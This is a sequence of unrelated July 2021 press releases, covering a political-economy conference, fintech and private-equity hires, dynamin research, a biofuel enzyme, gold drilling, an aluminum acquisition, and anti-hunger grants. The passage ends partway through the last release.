WILMINGTON, Del., July 13, 2021 /PRNewswire/ -- The Intercollegiate Studies Institute announced today that on July 23-24, an all-star roster of thought leaders will gather for one of the year's most significant conferences:

The Future of American Political Economy

The conference addresses a key question that conservatives have been grappling with:

Do we need to rethink our approach to the economy?

America faces new threats: Big Tech censorship and monopolies. A dwindling middle class. The rise of China. Crony capitalism.

So how should conservatives respond?

This conference will tackle some of the most important and difficult questions facing our country.

Speakers include:

J.D. Vance , Hillbilly Elegy author and U.S. Senate candidate

, author and U.S. Senate candidate Senator Marco Rubio

Amity Shlaes , bestselling author of The Forgotten Man and Coolidge

, bestselling author of and Jeff Sessions , former U.S. attorney general

, former U.S. attorney general Ramesh Ponnuru , National Review editor

, editor Oren Cass , American Compass executive director

, American Compass executive director Helen Andrews , The American Conservative senior editor

, senior editor and nearly 20 others!

For full details on the Future of American Political Economy Conference, visit isi.org/conference.

About the Intercollegiate Studies Institute

Too many college students feel isolated or attacked for questioning the ever-narrowing range of debate on campus. ISI introduces them to the American tradition of liberty and to a vibrant community of students and scholars. ISI students get an education and a community they don't find at their universities. And in the process, they become articulate voices for the principles that made America free and prosperous.

ISI is a 501(c)(3) nonprofit educational organization. For more information, visit isi.org.

If you are interested in covering the Future of American Political Economy Conference, please contact Jed Donahue at j[email protected] or 302-524-6165 for press passes or livestream information.

SOURCE Intercollegiate Studies Institute
SEATTLE, July 14, 2021 /PRNewswire/ -- Julie Fergerson, the CEO and Co-Founder of the Merchant Risk Council (MRC), was recognized at this year's Global Conference on Insurance & Finance (GCIF) as one of the top 100 leaders in the fintech industry.

Julie Fergerson, CEO, Co-founder, Merchant Risk Council

"It was a breath of fresh air for GCIF to put on an in-person conference, start the journey of getting back to normal, and recognize all the wonderful people creating positive impacts in the finance community," said Julie Fergerson. After scoring individuals from around the world on their industry impact, spirit of innovation, future readiness, and market demand, Julie is humbled to be recognized for her achievements thus far.

Not only are the scoring categories a strong representation of Julie's values, but they're also fully embraced by her non-profit organization, the MRC. With a mission centered on "building better commerce," the MRC takes a collaborative approach to problem-solving the biggest issues in eCommerce payments and fraud prevention. By recognizing that the industry as whole needs to share resources and unite to become a safe and profitable space, the MRC's massive impact enables the entire industry to be successful.

The MRC works with all those involved in the industry including card issuers, payments and fraud prevention solution providers, and merchants to be a one-stop resource for creating an innovative and successful eCommerce environment. Some of the organization's many triumphs include expansion into the Asia-Pacific (APAC) region where they recently elected an APAC Advisory board, strong advocacy work to ensure the Voice of the Merchant is represented and heard in industry discussions, and enhancing their on-demand learning platform to allow MRC members to create courses for in-depth education.

These achievements showcase the root of what makes Julie such a respected, impactful force. Her passion for unity and collaboration as a means to problem-solving offers a clear path to creating an eCommerce community that is more reliable, cooperative, and secure.

About the MRC:

The MRC is an unbiased global community providing a platform for eCommerce fraud and payments professionals to come together and share information. As a non-profit 501(c)6 organization, the MRC's vision is to make commerce safe and profitable everywhere by offering proprietary education, training, and networking opportunities, as well as a welcoming forum for timely and relevant discussions. The MRC was launched in 2000, at the start of the eCommerce boom, by a small group of industry professionals from leading consumer brands, united by the goal of fighting against online fraud. Since its inception, the MRC has also added online payments to its portfolio, expanding its presence further into eCommerce, and continues to be at the forefront of industry evolution and the continued fight against fraud. The MRC is headquartered in Seattle, Washington, but embraces membership from across the globe.

Media Contact: Lea Prosenica

Telephone: +1 678-593-0391

Email: [email protected]

MRC Logo Link: download image

SOURCE Merchant Risk Council
KANAZAWA, Japan, July 14, 2021 /PRNewswire/ -- Researchers at Kanazawa University report in Proceedings of the National Academy of Sciences how a protein molecular motor can chop off a piece of cell membrane. The constrict-and-cut mechanism resembles that of a ratchet motor, and is of importance in processes mediating the entry of particles into cells.

Cells in the human body constantly receive substances from the outside via a process called endocytosis. One important endocytosis pathway involves the formation of a protrusion within the cell membrane, pointing to the inside of the cell, triggered when a molecule needing to get in reaches the membrane. The protrusion wraps and closes around the molecule, after which it is cut off, leaving the wrapped molecule (a so-called vesicle) inside the cell. A key role in the cutting-off mechanism is played by dynamin, a protein that can locally 'constrict' cell membranes, and chop off bits. The precise constriction mechanism is not completely understood, however. Now, by combining experiments and simulations probing the dynamics of dynamin, Alexander Mikhailov from Kanazawa University and colleagues show that the workings of such a 'nanomuscle' resembles that of a ratchet motor.

Dynamin consists of helical filaments, which coil around the neck of a vesicle forming within a membrane. In the presence of GTP (a molecule that can be thought of as a biochemical 'fuel', as it provides energy) these filaments start to slide, and in doing so constrict the vesicle neck. In order to gain detailed insights into the constriction mechanism, Mikhailov and colleagues used a technique called single molecule fluorescence resonance energy transfer (smFRET), which enables measuring distances in biomolecules. The obtained data revealed that different conformations of dynamin's filaments occur, depending on whether or not they are bound to GTP and its products. These various configurations result in the formation of differently oriented molecular 'bridges' between neighboring coil turns. Supplying GTP and hydrolyzing it induces power strokes in the cross-bridges and generates a filament torque.

The scientists then designed a computable model of a set of dynamin filaments wrapped around a membrane protrusion, capturing the structural changes and their timescales as observed in the smFRET measurements. The membrane was modelled as a deformable cylindrical tube, and the filaments as strings of beads connected to active cross-bridges powered by GTP. The simulations showed that the combined motion of cross-bridges provides a force large enough to cut a membrane tube.

The work of Mikhalov and colleagues confirms, in a quantitative way, the constriction-by-ratchet model of the dynamin nanomuscle  nature's strongest torque-generating motor. Quoting the researchers: "Our experimental and computational study provides an example of how collective motor action in megadalton molecular assemblies can be approached and explicitly resolved."

Background

Dynamin

Dynamin refers to a family of biomolecules. Classical dynamin is a protein playing a key role in endocytosis (the process through which particles are brought into a cell); the molecule is involved in the scission of vesicles formed from a cell membrane. Other molecules from the dynamin family are relevant for various biological processes including the division of organelles and cytokinesis (cell division).

Alexander Mikhailov from Kanazawa University and colleagues have now studied the scission of vesicles by dynamin in detail, and confirmed that when dynamin wraps around a tubular cell membrane fragment, it can constrict it, which results in scission.

smFRET

Single molecule fluorescence resonance energy transfer (smFRET) is a method used for measuring distances in the nanometer range in single molecules  typically biomolecules. smFRET is the application of FRET within a single molecule; FRET is the process of energy transfer between two chromophores (molecules that are sensitive to light). The efficiency of the energy transfer is inversely proportional to the sixth power of the distance between the chromophoric parts, making the FRET technique very sensitive to changes in distance.

Mikhailov and colleagues used smFRET to obtain information on the structure and conformational changes of dynamin, which was an important step in unraveling the constriction mechanism with which dynamin can cut off vesicles from a cell membrane.

Reference

Oleg M. Ganichkin, Renee Vancraenenbroeck, Gabriel Rosenblum, Hagen Hofmann, Alexander S. Mikhailov, Oliver Daumke, and Jeffrey K. Noel. Quantification and demonstration of the collective constriction-by-ratchet mechanism in the dynamin molecular motor, PNAS July 13, 2021 118 (28) e2101144118.

DOI: 10.1073/pnas.2101144118

URL: https://doi.org/10.1073/pnas.2101144118

Image link

https://nanolsi.kanazawa-u.ac.jp/wp-content/uploads/2021/06/figure_PNAS_MIkhailov.png

Caption

Dynamin as a nanomuscle. The filament coils around a membrane tube and, under GTP hydrolysis, forms active cross-bridges that collectively constrict the membrane.

Contact

Hiroe Yoneda

Vice Director of Public Affairs

WPI Nano Life Science Institute (WPI-NanoLSI)

Kanazawa University

Kakuma-machi, Kanazawa 920-1192, Japan

Email: [email protected]

Tel: +81 (76) 234-4550

About Nano Life Science Institute (WPI-NanoLSI)

https://nanolsi.kanazawa-u.ac.jp/en/

Nano Life Science Institute (NanoLSI), Kanazawa University is a research center established in 2017 as part of the World Premier International Research Center Initiative of the Ministry of Education, Culture, Sports, Science and Technology. The objective of this initiative is to form world-tier research centers. NanoLSI combines the foremost knowledge of bio-scanning probe microscopy to establish 'nano-endoscopic techniques' to directly image, analyze, and manipulate biomolecules for insights into mechanisms governing life phenomena such as diseases.

About Kanazawa University

http://www.kanazawa-u.ac.jp/e/

As the leading comprehensive university on the Sea of Japan coast, Kanazawa University has contributed greatly to higher education and academic research in Japan since it was founded in 1949. The University has three colleges and 17 schools offering courses in subjects that include medicine, computer engineering, and humanities.

The University is located on the coast of the Sea of Japan in Kanazawa  a city rich in history and culture. The city of Kanazawa has a highly respected intellectual profile since the time of the fiefdom (1598-1867). Kanazawa University is divided into two main campuses: Kakuma and Takaramachi for its approximately 10,200 students including 600 from overseas.

SOURCE Kanazawa University
DES MOINES, Iowa, July 14, 2021 /PRNewswire/ -- Kemin Industries, a global ingredient manufacturer that strives to sustainably transform the quality of life every day for 80 percent of the world with its products and services, has added ZyloZyme AA, an efficient, high-temperature alpha-amylase for use during liquefaction, to its biofuels enzyme portfolio.

ZyloZyme AA is used in the production of ethanol by fermentation and has yielded favorable results. In a study comparing the use of ZyloZyme AA to conventional alpha-amylase, Kemin's product reduced viscosity while maintaining optimal dextrose equivalents, ethanol production and ethanol-to-solids ratio at a dose of 60 percent less than conventional alpha-amylase.

"We are encouraged by the outcome of this study and the positive results of using ZyloZyme AA in ethanol production," said Brandon Lewis, Ph.D., Senior Technical Services Manager, Kemin Biofuels. "Even at low doses, ZyloZyme AA provides robust liquefaction while maintaining ethanol levels and the ethanol-to-solids ratio. We are excited to start customer trials with ZyloZyme AA and continue showcasing the product's power."

ZyloZyme AA is a specialized enzyme allowing ethanol plants to fine tune the amount of amylase used to break down starch, reduce viscosity and improve production output. The low dose allows flexibility for ethanol plants to optimize their product with a cost-effective alpha-amylase, thereby reducing operating costs.

Kemin applies its technical expertise, Customer Laboratory Services and industry knowledge to provide biofuels producers with a portfolio of antioxidants to improve biodiesel stability, as well as enzymes designed to improve yeast nutrition, lower operating costs and increase plant efficiency. Kemin is committed to delivering innovation, continuing with the newest enzyme in Kemin Biofuels' portfolio, ZyloZyme AA.

Click here to learn more about Kemin Biofuels.

About Kemin Industries

Kemin Industries (www.kemin.com) is a global ingredient manufacturer that strives to sustainably transform the quality of life every day for 80 percent of the world with its products and services. The company supplies over 500 specialty ingredients for human and animal health and nutrition, pet food, aquaculture, nutraceutical, food technologies, crop technologies, textile, biofuels and animal vaccine industries.

For over half a century, Kemin has been dedicated to using applied science to address industry challenges and offer product solutions to customers in more than 120 countries. Kemin provides ingredients to feed a growing population with its commitment to the quality, safety and efficacy of food, feed and health-related products.

Established in 1961, Kemin is a privately held, family-owned-and-operated company with more than 2,800 global employees and operations in 90 countries, including manufacturing facilities in Belgium, Brazil, China, India, Italy, Russia, San Marino, Singapore, South Africa and the United States.



Media Contact:

Penny Woods, Marketing Director, [email protected], 515-419-9134

 Kemin Industries, Inc. and its group of companies 2021. All rights reserved.  TM Trademarks of Kemin Industries, Inc., U.S.A.

Certain statements, product labeling and claims may differ by geography or as required by government requirements.

SOURCE Kemin Industries

Related Links

http://www.kemin.com


The summer exploration program will include up to 20,000 meters of diamond drilling at the Regnault gold discovery. This program follows the recently concluded winter drill program, where the company defined the orientation of multiple gold bearing structures, including R1 and R2, which produced numerous high-grade intercepts, including 5.72m at 90.56 g/t Au (21RDD024) and 25.33m at 6.29 g/t Au (21RDD037) (see press release dated May 26, 2021). In addition to the drill program, follow-up surface exploration, including mapping, prospecting, infill till and soil geochemical sampling, along with induced polarization (IP) geophysical surveys, will be completed over multiple regional target areas within the Frotet Project.

Figure 1. 2021 Summer Exploration Program at the Frotet Project, Quebec

Regnault Drill Program

Approximately 10,000 meters will be allocated for infill and step-out drilling along the R1 structure. The vein system will be drilled on approximately 50 meter centers, testing down to 300m depth, as well as testing extensions along strike to the east and west. A further 4,000 meters will be allocated to step-out and infill drilling along the R2 structure. The remainder of the drilling budget will be used for follow-up on additional zones of mineralization encountered along the two kilometer Regnault trend. The drill program is expected to be completed by late October with three drills active on site. Since the initial discovery in early 2020, 16,641m of drilling has been completed at Regnault.

Figure 2. Plan Map and Long Section of Proposed Drilling along R1 and R2 Structures

Zach Flood, President and CEO, states, "We're very excited to begin drilling again and look forward to the most significant program the project has seen to date, in terms of size. Now that we are gaining a better understanding of the structural controls of the gold system at Regnault, we can begin to advance this discovery significantly. In addition, we look forward to developing some of our more regional target areas to drill stage. We believe there is great potential for further discovery, not only at Regnault, but within the rest of the Frotet Project as well."

Qualified Person

Mr. Jan Wozniewski, B. Sc., P. Geo., OGQ (#2239) is the "Qualified Person" under National Instrument 43-101, has reviewed and approved the scientific and technical information in this press release.

About the Frotet Project

The Frotet Project was first identified by Kenorland in 2017 after completing a regional prospectivity study over the Abitibi and Frotet-Evans Greenstone Belts of Quebec. The initial 55,921 ha property was acquired through map staking in March, 2017 and optioned to Sumitomo Metal Mining Canada Ltd. ("SMMCL"), a wholly owned subsidiary of Sumitomo Metal Mining Co., Ltd. in April, 2018. Two years of property-wide systematic till sampling led to a maiden drill program in 2020 which resulted in a significant grassroots discovery at the prospect now named Regnault. The project is currently under Joint Venture agreement between SMMCL and Kenorland Minerals Ltd., with interests being held at 80% and 20% respectively. Under the Joint Venture, exploration is funded pro-rata. Any party which does not contribute and is diluted below a 10% interest, converts its interest to a 2% uncapped net smelter royalty.

About Kenorland Minerals

Kenorland Minerals Ltd. (TSX.V KLD) is a mineral exploration Company incorporated under the laws of the Province of British Columbia and based in Vancouver, British Columbia, Canada. Kenorland's focus is early to advanced stage exploration in North America. The Company currently holds three projects in Quebec where work is being completed under joint venture and earn-in agreement from third parties. The Frotet Project is held under joint venture with Sumitomo Metal Mining Canada Ltd. (SMMCL), the Chicobi Project is optioned to SMMCL, and the Chebistuan Project is optioned to Newmont Corporation. The Company also owns 100% of the advanced stage Tanacross porphyry Cu-Au project as well as an option to earn up to 70% from Newmont Corporation on the Healy Project, both located in Alaska, USA.

Further information can be found on the Company's website www.kenorlandminerals.com

Kenorland Minerals Ltd.

Zach Flood

President and CEO

Tel: +1 604 363 1779

[email protected]

Kenorland Minerals Ltd.

Francis MacDonald

Executive Vice President

Tel: +1 778 322 8705

[email protected]

Cautionary Statement Regarding Forward Looking Statements

This news release contains forward-looking statements and forward-looking information (together, "forward-looking statements") within the meaning of applicable securities laws. All statements, other than statements of historical facts, are forward-looking statements. Generally, forward-looking statements can be identified by the use of terminology such as "plans", "expects', "estimates", "intends", "anticipates", "believes" or variations of such words, or statements that certain actions, events or results "may", "could", "would", "might", "will be taken", "occur" or "be achieved". Forward looking statements involve risks, uncertainties and other factors disclosed under the heading "Risk Factors" and elsewhere in the Company's filings with Canadian securities regulators, that could cause actual results, performance, prospects and opportunities to differ materially from those expressed or implied by such forward-looking statements. Although the Company believes that the assumptions and factors used in preparing these forward-looking statements are reasonable based upon the information currently available to management as of the date hereof, actual results and developments may differ materially from those contemplated by these statements. Readers are therefore cautioned not to place undue reliance on these statements, which only apply as of the date of this news release, and no assurance can be given that such events will occur in the disclosed times frames or at all. Except where required by applicable law, the Company disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

SOURCE Kenorland Minerals Ltd.
MARLTON, N.J., July 14, 2021 /PRNewswire/ -- KIWI magazine, the leading online resource for parents to grow their families the natural and organic way, is inviting parents, grandparents, and caregivers to attend its second annual Beyond the Lunchbox Digital Conference. This free online event will take place August 28, 2020.

Beyond the Lunchbox Beyond the Lunchbox

During this week-long conference, a curated list of experts will cover topics in the fields of sustainability, health and wellness, nutrition, and kid's lunch. Attendees will be able to tune in everyday for exclusive access to videos about trending and important topics while entering to win exciting prizes from sponsors.

"We are thrilled to host Beyond the Lunchbox for a second year," said Maureen Frost, editorial director of KIWI. "After our success last year, we couldn't wait to find new and exciting speakers for 2021. We have an exceptional line-up once again and know parents will feel empowered to make healthy and sustainable choices after attending."

Featured speakers include Jaclyn Bowen, executive director of the Clean Label Project, Julie Anderson, the CEO of Plastic Oceans International, Dr. Joel "Gator" Warsh, a board-certified pediatrician and Raising Amazing podcast host, and many more. A full list of speakers can be found on beyondthelunchbox.com.

Those who tune in will not only be able to view exclusive content, but will also have access to daily giveaways from various sponsors.

Beyond the Lunchbox is sponsored by Happy Family Organics, sk*p, NOW Kids, Mabel's Labels, The Relief Products, and Hippo Sak, and is in partnership with Moms Meet and WOW Events. The event is free to attend with registration.

For more information about KIWI and Beyond the Lunchbox Digital Conference, and to register, please visit beyondthelunchbox.com.

ABOUT KIWI MAGAZINE

KIWI, published by May Media Group, LLC (maymediagroup.com), is dedicated to raising families the natural and organic way. May Media Group oversees KIWI magazine, Moms Meet, WOW Events, and more. KIWI helps families balance their green ideals with their busy lives so they can raise healthy, happy, caring kids. Learn more at kiwimagonline.com.

CONTACT:

Eleanor King | May Media Group

484-942-9077 | [email protected]

SOURCE KIWI Magazine

Related Links

http://kiwimagonline.com


EXPANDS GLOBAL PLATFORM IN EXTRUDED ALUMINUM PROFILES

COMPLETES ACQUISITION OF PROFILE CUSTOM EXTRUSIONS, LLC

NEW YORK, July 14, 2021 /PRNewswire/ -- KPS Capital Partners, LP ("KPS") announced today that it has completed the acquisition of Metra Holding S.p.A. and Metra S.p.A., (collectively "Metra"), a global manufacturer of extruded aluminum. KPS also completed its acquisition of Profile Custom Extrusions, LLC ("Profile"), a U.S. manufacturer of extruded aluminum, from Highlander Partners, L.P. Metra and Profile will be combined to form a leading, global extruded aluminum profile platform with a strong presence across both Europe and North America.

Metra is a global, vertically integrated manufacturer of extruded aluminum profiles and related value-added services, including painting, oxidation, machining, welding and assembly. Metra offers a full range of extruded aluminum profiles, which are used primarily in the industrial and building & construction end-markets across Europe and North America. Metra employs approximately 850 employees across five plants in Italy and Canada.

Profile is a U.S. manufacturer of custom, extruded aluminum profiles and related value-added services including painting, anodizing, thermal break and precision cutting. Profile provides a variety of custom extruded aluminum profiles to diverse end-markets including residential and commercial construction, HVAC, hurricane protection, transportation, electrical and marine. Profile employs approximately 170 employees in its sole facility in Rome, GA.

Pierre de Villemejane, a Partner of KPS Mid-Cap Investments ("KPS Mid-Cap"), said, "By combining Metra and Profile, we will create a robust global extruded aluminum platform with an unparalleled reputation for reliability, superior quality and customer service. The strategic and industrial logic of combining Metra and Profile is compelling, as the transaction allows Metra to continue to expand its presence in new end-markets and provides a foothold for future acquisition opportunities in North America. We look forward to continuing to rapidly grow the combined business both organically and through a global acquisition strategy."

Enrico Zampedri, Chief Executive Officer of Metra, said, "The acquisition of Profile is an important step in Metra's continued geographic expansion and diversification. We are very impressed by Profile's manufacturing capabilities and the strength of its relationships with customers. Furthermore, the acquisition of Profile will significantly enhance the combined business' presence in North America and will provide the opportunity to share best practices across the two businesses that will result in better quality and service to our customer base. We are excited to work collaboratively with the Profile team to continue to build a best-in-class global extruded aluminum manufacturer."

David Newby, President of Profile, said, "The real winners of this combination are the customers of Profile and Metra. Our customers will now have access to the strengths of both businesses as we combine the very best manufacturing processes, products and services across a global manufacturing footprint. We remain committed to providing the world-class quality, delivery and customer service that Profile is known for throughout the industry as we embark on this new and exciting phase at Profile. The entire Profile management team is excited to operate under KPS and Metra's ownership to continue to build upon our long and successful history."

Financial terms of the transaction were not disclosed. Paul, Weiss, Rifkind, Wharton & Garrison LLP served as legal counsel to KPS for the acquisition of Profile. Fidus Partners, LLC served as financial advisor and Foley & Lardner LLP served as legal counsel to Highlander Partners, L.P. for the sale of Profile.

About Metra

Metra is a global, vertically integrated manufacturer of extruded aluminum profiles and related value-added services, including painting, oxidation, machining, welding and assembly. Metra offers a full range of extruded aluminum profiles, which are used primarily in the industrial and building & construction end-markets across Europe and North America. Metra is headquartered in Rodengo Saiano, Italy, with five strategically located manufacturing facilities across Italy and Canada. For additional information, please visit www.metra.eu/en/.

About Profile Custom Extrusions, LLC

Profile is a U.S. manufacturer of custom extruded aluminum profiles and related value-added services including painting, anodizing, thermal break and precision cutting. Profile provides a variety of custom extruded aluminum profiles to diverse end-markets including residential and commercial construction, HVAC, hurricane protection, transportation, electrical and marine. Profile operates one strategically located manufacturing facility in Rome, GA. For additional information, please visit www.pcextrusions.com .

About KPS Capital Partners

KPS, through its affiliated management entities, is the manager of the KPS Special Situations Funds, a family of investment funds with approximately $12.8 billion of assets under management (as of March 31, 2021). For nearly three decades, the Partners of KPS have worked exclusively to realize significant capital appreciation by making controlling equity investments in manufacturing and industrial companies across a diverse array of industries, including basic materials, branded consumer, healthcare and luxury products, automotive parts, capital equipment and general manufacturing. KPS creates value for its investors by working constructively with talented management teams to make businesses better, and generates investment returns by structurally improving the strategic position, competitiveness and profitability of its portfolio companies, rather than primarily relying on financial leverage. The KPS Funds' portfolio companies have aggregate annual revenues of approximately $13.5 billion, operate 156 manufacturing facilities in 23 countries, and have approximately 40,000 employees, directly and through joint ventures worldwide. The KPS investment strategy and portfolio companies are described in detail at www.kpsfund.com .

KPS Mid-Cap focuses on investments in the lower end of the middle market that require up to $100 million of initial equity capital. KPS Mid-Cap targets the same type of investment opportunities and utilizes the same investment strategy that KPS' flagship funds have for nearly three decades. KPS Mid-Cap leverages and benefits from KPS' global platform, reputation, track record, infrastructure, best practices, knowledge and experience. The KPS Mid-Cap investment team is managed by Partners Pierre de Villemejane and Ryan Harrison, who lead a team of experienced and talented professionals.

SOURCE KPS Capital Partners, LP

Related Links

www.kpsfund.com


MENLO PARK, Calif. and BOSTON, July 14, 2021 /PRNewswire/ -- Crosspoint Capital Partners ("Crosspoint"), a private equity investment firm focused on cybersecurity, privacy and infrastructure software markets, today announced that Laura Grattan and Dan Stanko have joined the firm as Managing Directors where they will help lead the firm's investing efforts across its focus industries.

Grattan, based in Boston, brings more than 15 years of investment experience, most recently working at Thomas H. Lee Partners. As a Managing Director, Grattan was responsible for leading buyout and growth transactions in the technology and healthcare IT industries. Prior to her time at Thomas H. Lee, Grattan worked as an Analyst in the Private Equity Group at Goldman Sachs.

Stanko, based in Menlo Park, was most recently a Partner at HGGC, where he was responsible for driving new and existing investment opportunities, with a particular focus on software. Prior to HGGC, Stanko spent nearly a decade at Bain Capital evaluating, executing, and driving value creation across many transactions, including the acquisition of Blue Coat Systems and its sale to Symantec. Stanko joined Bain Capital from Goldman Sachs where he also worked as an Analyst in the Private Equity Group.

"Crosspoint is thrilled to welcome Laura and Dan to our growing team," said Ian Loring, Managing Partner of Crosspoint. "Both are terrific investors and culture carriers that will bring great leadership to Crosspoint. Furthermore, both Laura and Dan have been known to the principals of Crosspoint for some time, which will allow for a seamless integration with the rest of the team."

"We believe the combination of investment, sector and deep operating expertise represents a differentiated approach to private equity investing," said Steve Luczo, Managing Partner of Crosspoint. "We are excited to continue to build the team with Dan and Laura."

Grattan and Stanko join Crosspoint on the heels of its fourth investment out of Crosspoint Fund I, one of the largest first-time, technology-focused private equity funds ever raised with a focus on the cybersecurity, privacy and infrastructure software sectors. Recent investments include Forescout Technologies, Inc., Cyware, ExtraHop and Everseen.

About Crosspoint Capital Partners

Crosspoint Capital Partners is a private equity investment firm focused on the cybersecurity, privacy and infrastructure software markets. Crosspoint has assembled a group of highly successful operators, investors and sector experts to partner with foundational technology companies and drive differentiated returns. Crosspoint has offices in Menlo Park, CA and Boston, MA. For more information visit: www.crosspointcapital.com.

Contact:

Prosek Partners

[email protected]

+1 (973) 908-4463

SOURCE Crosspoint Capital Partners

Related Links

https://crosspointcapital.com/


WESTPORT, Conn., July 14, 2021 /PRNewswire/ -- LCR Wealth Management is proud to announce that it is now an SEC Registered Investment Advisor and will be able to continue its mission of putting clients' interests first and being a place for global families to manage US-based wealth.

LCR Wealth was started by Tom Garvey who came from Goldman Sachs and was part of the management team at United Capital, a pioneer in building a large, nationwide RIA firm.

LCR Wealth Management Tom Garvey

"It is good to shift from Connecticut Registration to SEC registration. We already have put in place the systems and procedures to meet the SEC requirements and we are expecting to see continued growth as we build the business. Clients like to know our focus is on independent advice and we take that very seriously," said Tom Garvey, president of LCR Wealth.

"Tom has done an amazing job setting up LCR Wealth and I can see why his clients trust him. He is always focused on their best interests." said Sherman Baldwin, CEO of LCR Capital Partners. "Many of our clients come from markets that don't have legally-defined fiduciary advisor firms. As they move assets to the United States, they like that their advisor only has their interests in mind and is only compensated on the advice they give, not hidden commissions or transaction fees."

"Seeing LCR Wealth grow out of the Connecticut registration and move to national SEC registration is an important milestone. Our goal at LCR is to be a trusted advisor to our clients and offer a range of high quality services that help them move to the US. For international clients being registered with the SEC demonstrates scale and professionalism." said Suresh Rajan, founder and Executive Chairman of LCR Capital Partners.

LCR Wealth currently operates in Westport, CT serving successful families nationwide, and global families that have established a US residence.

About LCR Wealth Management

LCR Wealth Management is a Registered Investment Adviser that provides successful families personalized investment advice on a fee basis. As a fiduciary to its clients, LCR Wealth Management is required by law to put its clients' interests ahead of its own interests. Tom Garvey founded LCR Wealth Management after 18 years of experience as an Investment Adviser Representative at Goldman Sachs and United Capital. LCR Wealth Management is registered with the SEC at the address of 315 Post Road West, Ste 200, Westport CT 06880.

Website: http://www.lcrwealth.com

About LCR Capital Partners

LCR Capital Partners is a private investment and advisory services firm that serves families interested in global opportunities. Founded in 2012, the firm's primary focus is working with clients interested in immigrant investor programs. LCR has helped over 850 clients move to the United States via the EB-5 Immigrant Investor Visa, which grants investors and their immediate family members US Green Cards. LCR also works with the E-2 Investor Visa, the Portuguese Golden Visa, and Grenada's Citizenship by Investment program which are all government-approved investments. Through its affiliates, International Investors Mortgage and LCR Wealth Management , the firm also offers US loan solutions and wealth management to foreign nationals moving to the United States. LCR has built long-term, trust-based relationships with a global client base of high-net-worth families in over 30 countries around the world. LCR is headquartered in Westport, CT, and runs a global network with teams in Miami, San Francisco, Sao Paulo, Dubai, Singapore, and Mumbai.

Website: http://www.lcrcapital.com

For more information please contact:

John M. Baker

Chief Marketing Officer, LCR Capital Partners LLC

[email protected]

+1 (203) 883-1940

SOURCE LCR Capital

Related Links

http://www.lcrcapital.com


LOS ANGELES, July 14, 2021 /PRNewswire/ -- As the country begins to emerge from the pandemic, a leading anti-hunger organization is investing nearly $2.5 million in efforts in the United States and Israel to stem the tide in persistent food insecurity that was exacerbated by pandemic-related shutdowns. The newest round of partnership grants from MAZON: A Jewish Response to Hunger increases its five-year total giving through its Emerging Advocacy Fund to more than $6.4 million.

MAZON's investments within the United States prioritize partners in states with the highest food insecurity in an effort to build and maintain a movement to end hunger. The partnership grants distributed through MAZON's Emerging Advocacy Fund are structured to build staff capacity at anti-hunger organizations throughout the country, helping to advance long-term solutions to hunger in America.

"We are witnessing an inflection point for the hunger crisis in the United States and around the world. The COVID-19 pandemic nearly doubled the number of people within the United States facing food insecurity, and local organizations on the front lines of emergency food assistance must also work for sustainable solutions," said Abby J. Leibman, President and CEO of MAZON. "Since its founding in 1985, MAZON has been committed to addressing food insecurity in the United States through policy change. We are particularly proud of the pioneering role we've played in helping to build a strong and resilient anti-hunger advocacy infrastructure in diverse regions across the United States. MAZON is proud to lift up and empower local organizations in 13 of the 15 most food-insecure states in the country, and we look forward to partnering with these organizations in our fight for the structural change we need to end hunger in our communities."

Recognizing the unique needs of people experiencing hunger within Tribal communities, MAZON also invests directly in partners within Indian Country.

"MAZON is proud to partner with and learn from the organizations strengthening food security and sovereignty in Indian Country," said Mia Hubbard, MAZON's Vice President of Programs. "We are committed to our shared goals of building more tribal self-determination and equity into government food programs, as well as advancing policies that ensure the health, wellbeing, and autonomy of Tribes. As Tribal Nations reclaim greater control over their food and agricultural systems and advance their own vision for food security, we are honored to leverage our resources with our grantee partners to provide this important support."

In Israel, MAZON's investments focus on partners working to increase awareness of hunger and create the systems needed to respond to specific challenges of people experiencing food insecurity in Israel.

"Over a quarter of Israel's population faces food insecurity daily, which is why MAZON is proud to strengthen the Israeli anti-hunger policy network," said Ishai Menuchin, MAZON's Israel Director. "The 14 grantees that MAZON is partnering with will build the political will we need to make sure that no one in Israel goes to bed hungry."

Recipients of MAZON's Emerging Advocacy Fund grants include:

Alabama Arise, ( Montgomery, Ala. )

) Alabama Food Bank Association, ( Huntsville, Ala. )

) Arkansas Advocates for Children and Families, ( Little Rock, Ark. )

) Arkansas Hunger Relief Alliance, ( Little Rock, Ark. )

) Center for Rural Affairs, ( Lyons, Neb. )

for Rural Affairs, ( ) Children's Action Alliance, ( Phoenix, Ariz. )

) Feeding Indiana's Hungry, ( Indianapolis, Ind. )

Hungry, ( ) Feeding Kentucky , ( Frankfort, Ky. )

, ( ) Feeding Louisiana , ( Baton Rouge, La. )

, ( ) Food Justice Lab / West Virginia University Research Corp., ( Morgantown, W.Va. )

/ Research Corp., ( ) Good Shepherd Food Bank, ( Auburn, Maine )

) Hunger-Free Oklahoma, ( Tulsa, Okla. )

) Indy Hunger Network, ( Indianapolis, Ind. )

) Kansas Action for Children, ( Topeka, Kan. )

) Kansas Appleseed Center for Law and Justice, ( Lawrence, Kan. )

) Kentucky Center for Economic Policy / Mountain Association for Community Economic Development, ( Berea, Ky. )

for Economic Policy / Mountain Association for Community Economic Development, ( ) Kentucky Equal Justice Center, ( Lexington, Ky. )

) Legal Aid Society of Middle Tennessee and the Cumberlands ( Nashville, Tenn. )

) Louisiana Budget Project, ( Baton Rouge, La. )

) Mississippi Center for Justice, ( Jackson, Miss. )

for Justice, ( ) Missouri Budget Project, ( St. Louis, Mo. )

) MomsRising, ( Raleigh, N.C. )

) Nebraska Appleseed Center for Law & Public Interest, ( Lincoln, Neb. )

) North Carolina Alliance for Health, ( Raleigh, N.C. )

for Health, ( ) North Carolina Justice Center, ( Raleigh, N.C. )

Justice Center, ( ) Oklahoma Policy Institute, ( Tulsa, Okla. )

) Open Sky Policy Institute, ( Lincoln, Neb. )

) Operation Food Search, ( St. Louis, Mo. )

) Preble Street , ( Portland, Maine )

, ( ) Partnership for a Healthy Mississippi, ( Flowood, Miss. )

) Regional Food Bank of Oklahoma , ( Oklahoma City, Okla. )

, ( ) Tennessee Justice Center, ( Nashville, Tenn. )

Justice Center, ( ) West Virginia Center on Budget and Policy, ( Charleston, W.Va. )

) West Virginia Healthy Kids and Families Coalition, ( Charleston, W.Va. )

) William E. Morris Institute for Justice, ( Phoenix, Ariz. )

Recipients of MAZON's Indian Country grants include:

